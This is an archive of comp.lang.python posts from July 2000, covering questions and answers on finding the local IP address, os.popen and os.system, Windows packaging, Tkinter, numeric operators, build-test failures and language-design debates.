>  The underlying technology "Token-Stream" works for all
>  scripting languages like *perl* or *python* too.
>

I think if a compiler is available right now, more than half of the users
would be interested, especially if the speed gain is large.

OTOH, judging from some prior discussions here, not many developers would
put in serious effort until a working prototype is here, as many don't
believe it's feasible to achieve much.

If you think you can do it all by yourself, but you only lack funding, the
best way might be to contact PythonLab.  The maintainer's of python might
share their hard-earned funding if they judge that a compiler would help to
attract more users, esp so-called enterprise users.

Maybe there are other ways. I don't know.

Just my 2 cents.

Huaiyu


From jessw at loop.com  Mon Jul 10 15:26:35 2000
From: jessw at loop.com (Jesse W)
Date: Mon, 10 Jul 2000 19:26:35 +0000
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter proble
In-Reply-To: <_Lua5.13223$Tb7.89061@news-server.bigpond.net.au>
Message-ID: <200007110229.TAA20898@stevie.loop.com>

Dear Neil,
	First, thank you very much for replying.  I was beginning to think I 
was just screaming into the void. :-)

>    This may just be the slow python.exe startup because of  multimedia
> problem. If Python is also slow to start up from the command line

	However, I don't think it is the interpreter itself, because it can 
start much quicker when not run through os.system.  I read a recent 
thread about os.system which said it was slow because it loaded a 
shell to run in.
								Thank you for replying,
									Jesse W





From kuncej at mail.conservation.state.mo.us  Thu Jul 13 10:52:31 2000
From: kuncej at mail.conservation.state.mo.us (Jeff Kunce)
Date: Thu, 13 Jul 2000 09:52:31 -0500
Subject: INPUT TYPE=file in HTML
References: <Pine.LNX.4.10.10007111835580.31780-100000@pop3.ifs.org.uk>
Message-ID: <HMkb5.181$K4.1108@news.more.net>

> I've been trying to read files uploaded from an HTML <INPUT TYPE=FILE>
> field using the CGI module. Are there known problems with this?

I have an example cgi script that both creates a form and accepts an upload.
See:  uplddemo_cgi.py
At: http://starship.python.net/crew/jjkunce/

You will need to rename it to uplddemo.cgi, and adjust
the global variables as explaind in the doc string.
It's been a while since I actually tried it, but it used to work!

  --Jeff





From ppessi at hut.fi  Fri Jul 21 14:35:56 2000
From: ppessi at hut.fi (Pekka Pessi)
Date: 21 Jul 2000 21:35:56 +0300
Subject: Getting local IP address...
References: <3bRK54$kCF@openbazaar.net>
Message-ID: <od1zonbmiur.fsf@vanessa.tky.hut.fi>

mfletch at tpresence.com.bbs@openbazaar.net (Mike Fletcher) writes:
>def getLocalHostIP( remote = ("www.python.org", 80)):
>	'''Get the "public" address of the local machine, i.e.
>	that address which is connected to the general internet.
>	Code by Donn Cave, posted to comp.lang.python'''
>	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>	s.connect( remote )
>	ip, localport = s.getsockname()
>	s.close()
>	return ip

>That is actually from a Deja posting, seems to be fairly portable, doesn't
>rely on parsing obscure Unix command responses, is readable, and is
>generally quite reliable. The more common socket-module-based approach (see
>Deja) can be confused if you have multiple network interface cards, but is
>still portable (i.e. if you only have a single network interface card, it
>should work on all system supporting the socket module).

	I have been using a piece of code like this:

def gethostaddr(dst = '224.0.1.41'):
    s = socket.socket(AF_INET, SOCK_DGRAM)
    try:
	s.connect((dst, 7))
	(host, port) = s.getsockname()
	s.close()
	if host != '0.0.0.0':
	    return host
    except error:
	pass
    return socket.gethostbyname(socket.gethostname())

	As an added bonus, no extra connection - UDP just binds the socket
	to your local address. If not, like MS Winsock, it tries true and
	tried gethostbyname(gethostname()) trick.

-- 
Pekka.Pessi at hut.fi


From db3l at fitlinxx.com  Fri Jul 21 14:46:42 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 21 Jul 2000 14:46:42 -0400
Subject: Python on Win32: How to freeze? How to hide the system console?
References: <8la2o6$hfu$1@pollux.ip-plus.net>
Message-ID: <uittzz5gt.fsf@ctwd0143.fitlinxx.com>

"Franz GEIGER" <fgeiger at datec.at> writes:

> New to Python I have 2 q's:
> 
> 1) Does anybody "freeze" his Python scripts dev'ed on and for Windows
> machines? How? Is Tkinter code freezed too? What's the result? A single EXE
> file?

I don't do freezes myself, but if you're just trying to come up with a
clean distribution mechanism there are some other alternatives.  The
one I prefer is using an installer package from Gordon McMillan:

	http://www.mcmillan-inc.com/install1.html

This automatically tracks down the various dependencies of your script
and puts it all together (along with some very nice archive formats
for the various library routines) into an executable that
self-extracts itself when it runs.  You generally end up with the exe,
a pyz for python library files a few standlone files (like
exceptions.pyc) and any external modules (dll/pyd).  That collection
of files is all you need to run your application.

The installer package has a simple installation script (console based
- prompts for a directory and unpacks), but you can combine the
installer with a Windows installation package (on the free side, for
example, Inno Setup:

	http://www.jrsoftware.org

and you end up with your Python application looking just like a native
installed Windows application, and being totally self-contained within
its installation directory.  Users install/uninstall it just like any
other Windows application.

> 2) How can I hide the system console on a Windows machine running a Python
> script using Tkinter?

Use pythonw rather than python to start your script.

(If using the installer package, it has a configuration file option to
use a "runw" module to start the script rather than "run" for the same
purpose).

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From jepler.lnk at lnk.ispi.net.bbs  Sun Jul 16 22:00:01 2000
From: jepler.lnk at lnk.ispi.net.bbs (jepler.lnk at lnk.ispi.net.bbs)
Date: 17 Jul 2000 02:00:01 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bQhU4$j5f@openbazaar.net>

On Sat, 15 Jul 2000 04:29:09 GMT, Huaiyu Zhu
 <hzhu at localhost.localdomain> wrote:
>That's the beauty of numerical computation, because all kinds of
>applications, from animation on your screen to controlling satallite in
>space to analysing molecular structures to calculating consumer preference
>could all be expressed in the language of linear algebra.  (Mathematicians
>study spaces more abstract than linear spaces, but you wouldn't want to hear
>about them before appreciating the usefulness of linear algebra.) For
>example, all deterministic procedures are functions, and most functions we
>see are simply points in an (infinite dimensional) space.

That's the beauty of procedural programming, because all kinds of
applications, from animation on your screen to controlling a satellite in
space to analyzing molecular structures to calculating consumer preference
could all be expressed in the language of procedural programming.
(Programmers study programming languages more abstract than functional
programming, but you wouldn't want to hear about them before appreciating
the usefulness of procedural programming.)  For example, all deterministic
processes are expressible as Turing machines, and most turing machines
we see are simply expressible in procedural languages.

Jeff


From nowonder at pool.informatik.rwth-aachen.de  Tue Jul 25 02:23:49 2000
From: nowonder at pool.informatik.rwth-aachen.de (Peter Schneider-Kamp)
Date: Tue, 25 Jul 2000 06:23:49 +0000
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net> <uya2q279j.fsf@ctwd0143.fitlinxx.com>
Message-ID: <397D3275.244A48C@pool.informatik.rwth-aachen.de>

David Bolen wrote:
> 
> I still occasionally miss the trailing braces at the bottom of heavily
> indented blocks, if only as a place to "hang" my comments about what
> block they are closing - of course that very construct was because
> even in C/C++ it was far from clear in some cases from just looking at the
> brace :-)

Then just use Tools/scripts/pindent.py

BTW: If you ever mess up your indentation, but you still have valid
     #end directives, you can reindent easily.
     As a bonus you will be able to reformat your code to different
     tab/space settings. Quoting from the CVS version:

***
usage: pindent (-c|-d|-r) [-s stepsize] [-t tabsize] [-e] [file] ...
-c         : complete a correctly indented program (add #end directives)
-d         : delete #end directives
-r         : reformat a completed program (use #end directives)
-s stepsize: indentation step (default %(STEPSIZE)d)
-t tabsize : the worth in spaces of a tab (default %(TABSIZE)d)
-e         : expand TABs into spaces (defailt OFF)
[file] ... : files are changed in place, with backups in file~
If no files are specified or a single - is given,
the program acts as a filter (reads stdin, writes stdout).
***

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From gee308 at mediaone.net  Sat Jul 22 02:46:03 2000
From: gee308 at mediaone.net (Toy)
Date: Sat, 22 Jul 2000 06:46:03 GMT
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net> <210720002132510070%matt@mondoinfo.com> <39794752.D54A50CD@mediaone.net>
Message-ID: <39794839.37A04FA2@mediaone.net>

I just tried to use os.system, and I couldn't get it to work.
import os
test = 'eth0'
os.system('ifconfig',test)
results:
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: string, tuple

How can I do the ifconfig while also passing variables?  Thanks.

Toy wrote:

> Thanks for showing me how to do that.  I tried to edit something, but it
> didn't work, I'll show you:
>
> def getMyAddr():
>   object = raw_input(Which device is connect to the internet(i.e. ppp0, eth0,
> ne3: ")
>   p=os.popen("/sbin/ifconfig",object)
>
> Is it possible to do that?  Will it work with os.system?  What are the
> differences bewteen using os.popen and os.system?  Thanks for your time.
> BTW, I only compared OpenBSD 2.7, Linux 2.2.15, and FreeBSD 4.0, but it seems
> if you do the string search  on ifconfig with find text on 1 line beginning
> with inet and ending with mask, It looks like you can get the IP from those 3
> machines.(of coure I still can't write some code to actually do it).  Thanks
> again.
> Jason Toy
>
> Matthew Dixon Cowles wrote:
>
> > In article <3978FD9D.B08460CB at mediaone.net>, Toy <gee308 at mediaone.net>
> > wrote:
> >
> > > How can I make python issue the command, "ifconfig -a eth0", and then
> > > parse the data to grab the IP?  I would think that you could tell Python
> > > to look for the word, 'inet addr:"(is it different on different Unixes?)
> > > and then tell it to get a number right after 'inet addr' that looks like
> > > xx.x.xxx.xxx !!  Simple Q, but I'm new, thanks.
> >
> > Something like this should work for you:
> >
> > import os
> > import string
> > import re
> > import sys
> >
> > def getMyAddr():
> >   p=os.popen("/sbin/ifconfig ep0")
> >   l=p.readline()
> >   while l<>"":
> >     if string.strip(l)[:5]=="inet ":
> >       matchObj=re.search("\d+.\d+.\d+.\d+",l)
> >       p.close()
> >       return matchObj.group(0)
> >     l=p.readline()
> >   p.close()
> >   return "not found"
> >
> > def main():
> >   print getMyAddr()
> >
> > if __name__=="__main__":
> >   main()
> >
> > You'll also notice that the answer to your second question is yes. The
> > format of the output of ifconfig is different from Unix to Unix. The
> > above example works on FreeBSD. You will need to fiddle it some to get
> > it to work under Linux.
> >
> > Another way to get the local IP is to use the functions in the socket
> > module:
> >
> > >>> import socket
> > >>> socket.gethostbyaddr(socket.gethostname())[2][0]
> >
> > But how to do that varies from machine to machine too. The code above
> > works correctly on my FreeBSD box but on my Linux laptop it returns
> > 127.0.0.1. In order to make it work right on that machine, I need to
> > ask for the address of the hostname only, not the FQDN:
> >
> > >>> socket.gethostbyaddr(socket.gethostname()
> > >>>   [:string.find(socket.gethostname(),".")])[2][0]
> >
> > If there's a portable way of getting the local IP address, I don't know
> > what it is.
> >
> > Regards,
> > Matt



From ge at nowhere.none  Thu Jul 20 11:18:02 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 20 Jul 2000 15:18:02 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37> <slrn8nbsj3.chd.cjc26@synecdoche.sowrong.org> <ADmd5.1701$6E.339824@ptah.visi.com> <8F7765F6DPaCmAnRDLM@161.48.76.20>
Message-ID: <KKEd5.1819$6E.374955@ptah.visi.com>

In article <8F7765F6DPaCmAnRDLM at 161.48.76.20>, Fred Pacquier wrote:
>ge at nowhere.none (Grant Edwards) said :
>
>>There is a nice widget set called newt (with a Python binding
>>called snack) that uses slang.  If slang is available under
>>Win32, then it should be possible to use newt/snack.
>
>Thanks (again). Unfortunately, s-lang looks like it's
>cross-platform, but newt does not, unless I'm mistaken.

Newt was (AFAIK) written by RedHat for use in their installer
and system utils, so I wouldn't be surprised if it's pretty
Linux-centric.

>This stuff is certainly well-hidden and is hardly stumbled
>across of you don't already know of it :-)

Too true.  Newt and snack are both pretty nifty, but I've never
tried to use them on anything except Linux, and you probably
won't find them on non-RH-derived systems.

>Sadly, all this is much too cryptic for the sort of casual use
>I had in mind -- it would actually be faster for me to dig out
>the win32 extensions and do regular Windows, which I wanted to
>avoid in the first place :-)

If you want something easy to use, Tkinter is probably as
simple as anything (and certainly simpler than curses).

-- 
Grant Edwards                   grante             Yow!  Well, O.K. I'll
                                  at               compromise with my
                               visi.com            principles because of
                                                   EXISTENTIAL DESPAIR!


From matt at mondoinfo.com  Sat Jul 22 14:45:34 2000
From: matt at mondoinfo.com (Matthew Dixon Cowles)
Date: Sat, 22 Jul 2000 13:45:34 -0500
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net> <210720002132510070%matt@mondoinfo.com> <39794752.D54A50CD@mediaone.net>
Message-ID: <220720001345342915%matt@mondoinfo.com>

In article <39794752.D54A50CD at mediaone.net>, Toy <gee308 at mediaone.net>
wrote:

> Thanks for showing me how to do that.  I tried to edit something, but it
> didn't work, I'll show you:
> 
> 
> def getMyAddr():
>   object = raw_input(Which device is connect to the internet(i.e. ppp0, eth0,
> ne3: ")
>   p=os.popen("/sbin/ifconfig",object)
> 
> Is it possible to do that?

It's possible to do something like that. The argument to os.popen (and
to os.system) needs to be a character string. So you need to build up
the string so that it looks just like what you'd type at the keyboard.
The string concatenation operator is +, so you'd do something like:

dev=raw_input("Device name? ")
p=os.popen("/sbin/ifconfig "+dev)

> Will it work with os.system?  What are the differences bewteen using
> os.popen and os.system?

os.system is similar to os.popen in that both execute a command of the
sort that you'd ordinarily type at a shell prompt. They're different in
that os.system just executes that command and if the command produces
any output, it's printed in your shell window, while os.popen (if you
accept its default) returns a file-like object that you can use to read
the output that the command produces and use it in your program.

> BTW, I only compared OpenBSD 2.7, Linux 2.2.15, and FreeBSD 4.0, but it seems
> if you do the string search  on ifconfig with find text on 1 line beginning
> with inet and ending with mask, It looks like you can get the IP from those 3
> machines.(of coure I still can't write some code to actually do it).

In situations like this, it's generally possible to find some mechanism
that works almost all of the time. It's also almost always the case
that eventually something that you were depending on will change and
you'll have to fix your code.

Regards,
Matt


From jvickroy at sec.noaa.gov  Mon Jul 17 14:14:34 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Mon, 17 Jul 2000 12:14:34 -0600
Subject: Event set/clear/wait
Message-ID: <39734D0A.C40861A9@sec.noaa.gov>

How can software be written to determine when it is "safe" to *clear* a
threading.Event that has previously been *set*?

Do I even need to consider this?

Thanks for your interest.

  -- jv

P.S.
"safe" is intended to convey the notion that all threads issuing a
*wait* on the event are no-longer blocking because of it.



From stephen_purcell at yahoo.com  Wed Jul 12 21:04:02 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 13 Jul 2000 01:04:02 -0000
Subject: Switching to Linux...... converting files and databases....
In-Reply-To: <yC4b5.372$6E.78242@ptah.visi.com>
Message-ID: <8kj4i2+2fuo@eGroups.com>

ge at n... (Grant Edwards) wrote:
> 
> FYI, there are alread some projects like that: catdoc,
> mswordview, (other things for excel and ppt files).  One of the
> projects (can't remember the name) is a library of routines to
> read/parse MS Office output.

You're probably thinking of the WV library: http://www.wvware.com/

-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me





From mfletch at tpresence.com  Thu Jul  6 14:46:13 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Thu, 6 Jul 2000 14:46:13 -0400 
Subject: Undocumented regex behaviour in re module
Message-ID: <CC59868A0A76D311B1F50090277B321C1F340D@VRTMAIL>

No Chris!  Don't you realise this is a setup by the PSU to catch people
trying to use unauthorised time machines to slip stackless into the
codebase?  If someone's going to do this it should be one of us expendable
people.  I hereby volunteer (now where was that racing form, anyway).

*poof* <-- see what happens when you fool with time machines kids

-----Original Message-----
From: Christian Tismer [mailto:tismer at appliedbiometrics.com]
Sent: Thursday, July 06, 2000 2:30 PM
To: Darrell Gallion
Cc: Dave Cole; python
Subject: Re: Undocumented regex behaviour in re module
...
Please, share your time machine with us :-)
...



From eben at ids.net  Fri Jul 21 18:40:17 2000
From: eben at ids.net (Eben Oldmixon)
Date: Fri, 21 Jul 2000 18:40:17 -0400
Subject: 5.2.1 fails 5 tests: SGI Indigo-2 IRIX 6.2 gcc -O2
Message-ID: <3978D151.8208C03B@ids.net>

Can somebody comment on these failures from the Python 5.2.1
distribution test suite?  I found mention of an error from test_re under
SunOS in the Deja News archives, nothing from python's test_long, and
didn't look further.  Are these likely to turn and bite?  I installed
anyway.  I particularly like the non-overflowing of maxint+1, although
'+-1' (!) is a close second.

#file: error_msgs

#errors from build of Python 5.2.1 on SGI Indigo-2 under IRIX 6.2
# using gcc -O2
# errors from:
#	test_grammar
#	test_builtin
#	test_types
#	test_long
#	test_re


python test_grammar.py
1. Parser
1.1 Tokens
1.1.1 Backslashes
1.1.2 Numeric literals
1.1.2.1 Plain integers
Traceback (innermost last):
  File "test_grammar.py", line 44, in ?
    elif eval('maxint == 9223372036854775807'):
OverflowError: integer literal too large
 error_msgs
Traceback (innermost last):
  File "test_re.py", line 63, in ?
    raise TestFailed, "re.sub"
test_support -- test failed: re.sub



4. Built-in functions
test_b1
__import__
abs
apply
callable
chr
cmp
coerce
compile
complex
delattr
dir
divmod
eval
execfile
filter
float
getattr
hasattr
hash
hex
id
int
Traceback (innermost last):
  File "test_builtin.py", line 9, in ?
    impo6. Built-in types
6.1 Truth value testing
6.2 Boolean operations
6.3 Comparisons
6.4 Numeric types (mostly conversions)
6.4.1 32-bit integers
6.4.2 Long integers
Traceback (innermost last):
  File "test_types.py", line 85, in ?
    else:raise TestFailed, 'long op'
test_support -- test failed: long op
rt test_b1
  File "test_b1.py", line 287, in ?
    raise TestFailed, "int(%s) raised ValueError: %s" % (`ss`, e)
test_support -- test failed: int('+-1') raised ValueError: invalid
literal for int(): +-1



6. Built-in types
6.1 Truth value testing
6.2 Boolean operations
6.3 Comparisons
6.4 Numeric types (mostly conversions)
6.4.1 32-bit integers
6.4.2 Long integers
Traceback (innermost last):
  File "test_types.py", line 85, in ?
    else:raise TestFailed, 'long op'
test_support -- test failed: long op



python test_long.py
long / * % divmod
long bit-operation identities
long str/hex/oct/atol
long miscellaneous operations
Traceback (innermost last):
  File "test_long.py", line 251, in ?
    test_misc()
  File "test_long.py", line 235, in test_misc
    raise TestFailed, "int(long(sys.maxint) + 1) didn't overflow"
test_support -- test failed: int(long(sys.maxint) + 1) didn't overflow




Running tests on re.search and re.match
Running tests on re.sub
Traceback (innermost last):
  File "test_re.py", line 63, in ?
    raise TestFailed, "re.sub"
test_support -- test failed: re.sub


From do.not.email at hotmail.com.bbs  Mon Jul 17 18:20:03 2000
From: do.not.email at hotmail.com.bbs (do.not.email at hotmail.com.bbs)
Date: 17 Jul 2000 22:20:03 GMT
Subject: problems trying wxPython in Win 95
Message-ID: <3bRRJ6$kCD@openbazaar.net>

Thanks for the tip. I have Win98 and the wxdemo didn't work. Now I tried
again, and in a console window appeared following message:
"Can't create window of class wxCanvasClass!
Possible Windows 3.x compatibility problem?"

In the  MS Windows standard error message was "WX21_15.DLL" mentioned. I
searched on my hard disk and there were both Wx21_15.dll and Wx21_16.dll. I
removed and reinstalled wxPython, and now the demo didn't crash. And the
Wx21_15.dll had disappeared. So the problem may be in it.

Thanks.

"Darrell Gallion" wrote in message
news:000701bfef98$9f658040$6401a8c0 at home...
> My experience with this isn't recent.
> But last I checked wxPython didn't work with 1.6, don't know about 2.0.
The
> demo will work with 1.5.2. I'd suggest uninstalling wxPython, rebooting
and
> reinstalling it. I had a problem like this when upgrading from the last
> version of wxPython.
>


From tim_one at email.msn.com  Sat Jul 22 02:52:13 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sat, 22 Jul 2000 02:52:13 -0400
Subject: compiling Python 1.6a2 using VC++ 6.0
In-Reply-To: <3bRbQR$m5X@openbazaar.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEELGLAA.tim_one@email.msn.com>

[falk.lehmann at gmx.net.bbs@openbazaar.net]
> I try to compile Python 1.6a2 on a WinNT box using VC++ 6.0.
> All packages except bsddbmodule and socketmodule compile without errors.
>
> When I add the include path of the the db-3.1.14 distribution to
> ..\db-3.1.14\build_win32 the following error messages appear. I have
> tried to include other header files then db.h but nothing works.
> ...

The PCbuild\readme.txt file in the current CVS tree is more explicit about
this:

bsddb
    Python wrapper for the BSD database 1.85.  Requires
    db.1.85.win32.zip, from the "bsd db" link at
        http://www.nightmare.com/software.html

That's the last version anyone ever bothered porting to Windows for Python.





From tim.hochberg at ieee.org  Thu Jul 20 11:37:36 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 20 Jul 2000 15:37:36 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk>
Message-ID: <m2n1jcooct.fsf@spiff.home.com>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> people keep talking about matrix operations as though there is only one
> way to do one kind of matrix multiply; I use at least two (inner, outer)
> commonly, but others eg Kronecker or Lie are certainly in use. I don't
> think any proposal which doesn't address this is likely to get my vote.

Well Konrad mentioned [x] or (x) which gives you a lot more symbolic
room. For instance one could use [x] for outer products since you can
take an outer "product" with essentially any operation. (*) would be
matrix multiply, (/) would be matrix "divide", we'd still be searching
for a solve operator though. (.) Could be some other inner product.

Although, there's a fair amount of "symbol" space in this kind of operator
scheme, but there's still an issue in that for dimensions greater than
two, there's no way to specify which axis to apply the inner products
on. I'm not sure there's any good way to do that with infix notation though.

Why don't you propose something that would fit your needs?

Rambling,

-tim


From Bill.Scherer at VerizonWireless.com  Tue Jul 18 09:17:51 2000
From: Bill.Scherer at VerizonWireless.com (Bill Scherer)
Date: Tue, 18 Jul 2000 09:17:51 -0400
Subject: Duplicates again
Message-ID: <397458FF.E5E88361@VerizonWireless.com>

It's happening again, duplicates by the dozen.

sigh.

I'm not the only one, am I?

hoping-someone-is-listening-who-can-do-something-about-it-ly yrs,

--
William K. Scherer
Sr. Member of Applications Staff
Verizon Wireless






From cjc26 at nospam.cornell.edu  Mon Jul 10 20:35:14 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Tue, 11 Jul 2000 00:35:14 GMT
Subject: Namespace weirdness
References: <3968E1B0.B6E6F3E9@yahoo.com> <8F6CECA93gmcmhypernetcom@199.171.54.194> <39692118.9D6EAFAA@yahoo.com> <q9da5.21142$ll.130599@news1.rdc1.az.home.com> <3969A8B8.FCA803F3@yahoo.com>
Message-ID: <slrn8mkr6f.1iqj.cjc26@synecdoche.bridget.mindriot.net>

* Paul Winkler <slinkp23 at yahoo.com> menulis:
| 
| But I overlooked the obvious. Just stuff all those arguments into a
| dictionary!
| Then my code above looks like:
| 
| class Food:
| 	def __init__(self, args = {}):

You could do something even trickier here:

        def __init__(self, **args):

This allows you to call __init__ with keyword arguments, like this:

        f = Food(color='red', texture='slimey', flavor='salty')

args will be passed a dictionary of all the keyword arguments, so this
is basically like the solution you came up with, only with a possibly
nicer syntax :)


| 		self.args = args
| 		self.thing1 = SomeClass(self.args)
| 		self.thing2 = SomeClass(self.args)
| 		...
| 
| class SomeClass:
| 	def __init__(self, args)

If you choose to use keyword arguments above, you probably should leave
SomeClass as it is, because it's not too easy to pass a dictionary to a
function expecting keyword arguments.  It >can< be done, though, using
the apply function.


| 		self.args = args
| 	def do_something_useful:
| 		print self.args['some_key']
| 		...
| 
| Ahhh, much better. Now I only have to deal with the entire list of
| args (now keys) once, when I create a Food instance, and then just
| reference each by key when needed.
| 
| And accessing the parameters as args['key'] is actually a lot easier
| than typing self._parentInstance.arg1 or some such weirdness.
| 
| 
| p.s. there are several common English insults that take the form of
| Food.BodyPart, hence my weird choice of names.
| 
| egg.head
| meat.head
| cheese.head
| lard.ass
| pizza.face
| beer.belly
| 
| I have the feeling there are more...

let's-all-hear-it-for-synecdoche-ly y'rs, Cliff


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From timr at probo.com  Thu Jul 27 01:32:20 2000
From: timr at probo.com (Tim Roberts)
Date: Wed, 26 Jul 2000 22:32:20 -0700
Subject: Reading PCI Configuration Space...
References: <eviltofu-DABC38.15495026072000@news.earthlink.net>
Message-ID: <97ivnsok3v8uije2ka2moqqcsin528omm0@4ax.com>

Jerome Chan <eviltofu at rocketmail.com> wrote:

>Does anyone know how to read the PCI configuration space with Python 
>under Win 98 or Linux?

Doing this under Windows requires a C extension, and even then it isn't
easy.  Under Windows 98, you can scan the BIOS for the PCI entry point and
call it directly.  Under Windows NT, even this doesn't work; you need the
help of a kernel driver.

Much of the interesting PCI information is buried in the registry, which IS
accessible from Python.
--
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From grey at despair.rpglink.com  Fri Jul 28 14:18:45 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 18:18:45 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com>
Message-ID: <slrn8o3jg2.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 18:23:39 +0200, Alex Martelli <alex at magenta.com> wrote:
>Where Python fits, I don't know, but I suspect it would be an excellent
>first-language (except for those who belong to the "bondage-and-discipline"
>school of programming, and/or of teaching-to-program, who would surely be
>better advised to look at Pascal or some of its successors).

    Well, if it is any consolation I did tell my roommate of the two languages
I currently dabble in, Perl and Python, if she wanted to start to learn to
program I recommended Python even though my Path, thus far has been Pascal, C
(and subsequent running away screaming like a madman), some DOS based
scripting languages (4DOS anyone?), REXX (see C comment), Perl, Python.  PHP
is next on the list somewhere once I can find a decent reference book.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From matt at mondoinfo.com  Wed Jul 19 20:38:15 2000
From: matt at mondoinfo.com (Matthew Dixon Cowles)
Date: Wed, 19 Jul 2000 19:38:15 -0500
Subject: tkinter: font measure()
References: <3975E3D5.36CB58D4@uniserve.com>
Message-ID: <190720001938158576%matt@mondoinfo.com>

In article <3975E3D5.36CB58D4 at uniserve.com>, Bob van der Poel
<bvdpoel at uniserve.com> wrote:

> Anyone know how to use the font measure() thing in tkinter?

I had to figure this out just the other day. Here's what works for me:

>>> import Tkinter
>>> foo=Tkinter.Toplevel()
>>> import tkFont
>>> f=tkFont.Font(family="7x13")
>>> f.measure("wibble")
42

The Toplevel() call wouldn't be necessary in your program since you'd
have already called mainloop().

Best regards,
Matt


From m.faassen at vet.uu.nl  Sun Jul 30 17:45:33 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 21:45:33 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <3h8zumi4i2.fsf@angband.org> <slrn8o3f73.49c.grey@teleute.rpglink.com> <8lva5q$bga$1@news6.svr.pol.co.uk>
Message-ID: <8m27lt$ila$6@newshost.accu.uu.nl>

"Bill de h?ra" <bill at dehora.fsnet.co.uk> wrote:
[snip]
> It's my hope that future languages will not allow in-code comments, the same
> way Python has dumped bracketing. Instead replace comments with naming,
> abstraction and unit tests. Comments are a story about code; too often that
> story is fairy tale.

> If you can't clarify your code without inline comments, you're not done.

I don't use inline comments that way. I simply write the comments before
I write the code, or change it. I say things like 'here I'm doing this'.
Inline comments describe the how; docstrings describe the what.

I also use inline comments for warnings (hairy code coming up, or 'hack!' or
FIXME).

I find them quite useful that way. Perhaps it'll be different if 
there are a lot of people who change my code, but that's currently
not the case. Perhaps I've been lucky at not encountering bad comments
a lot yet, too. :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From aek at aek.dk.bbs  Sun Jul 16 11:00:02 2000
From: aek at aek.dk.bbs (aek at aek.dk.bbs)
Date: 16 Jul 2000 15:00:02 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQQL2$kzx@openbazaar.net>

I know that the VB IDE does this, but that is exactly because Microsoft
realised
that case sensitivity has advantages, and then they enforced case
sensitivity in a
way that is, agreed, in many ways smart. The real problem in Python does not
occur because of case sensitivity it occurs because you do not need to
declare
your variables. Case sensitivity is a good way way to keep the same case
across
different development platforms - the VB concept only works because if you
write
VB you use Microsofts VB IDE, not Ultra Edit, Emacs, notepad, Borland, you
name it.
Mircosofts system enforces IDE monopoly, which is anoying since I do not
like the Visual
studio IDE, I strongly prefer Borlands, or even better Ultra Edit.

And the VB IDE concept could easily be implementet in a case sensitive
language as well.

And one more thing, you do not need to remeber the case of any single
variable if you keep
a strict definition of how case should be used: in my case all new words
start with capital,
except the first word of a property, method or simple type - that way I am
never in doubt
as to 1: what type I am dealing with, 2: never in doubt as to what the case
is suposed to be used...

--
Anders Eggers - Krag

"Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote in message
news:%%Rb5.109206$HK2.1930096 at news20.bellglobal.com...
> As a VB freak (or ex-thereof), I need to point out that the VB IDE will
> attempt to make all variables and keywords use the same case.  So, for
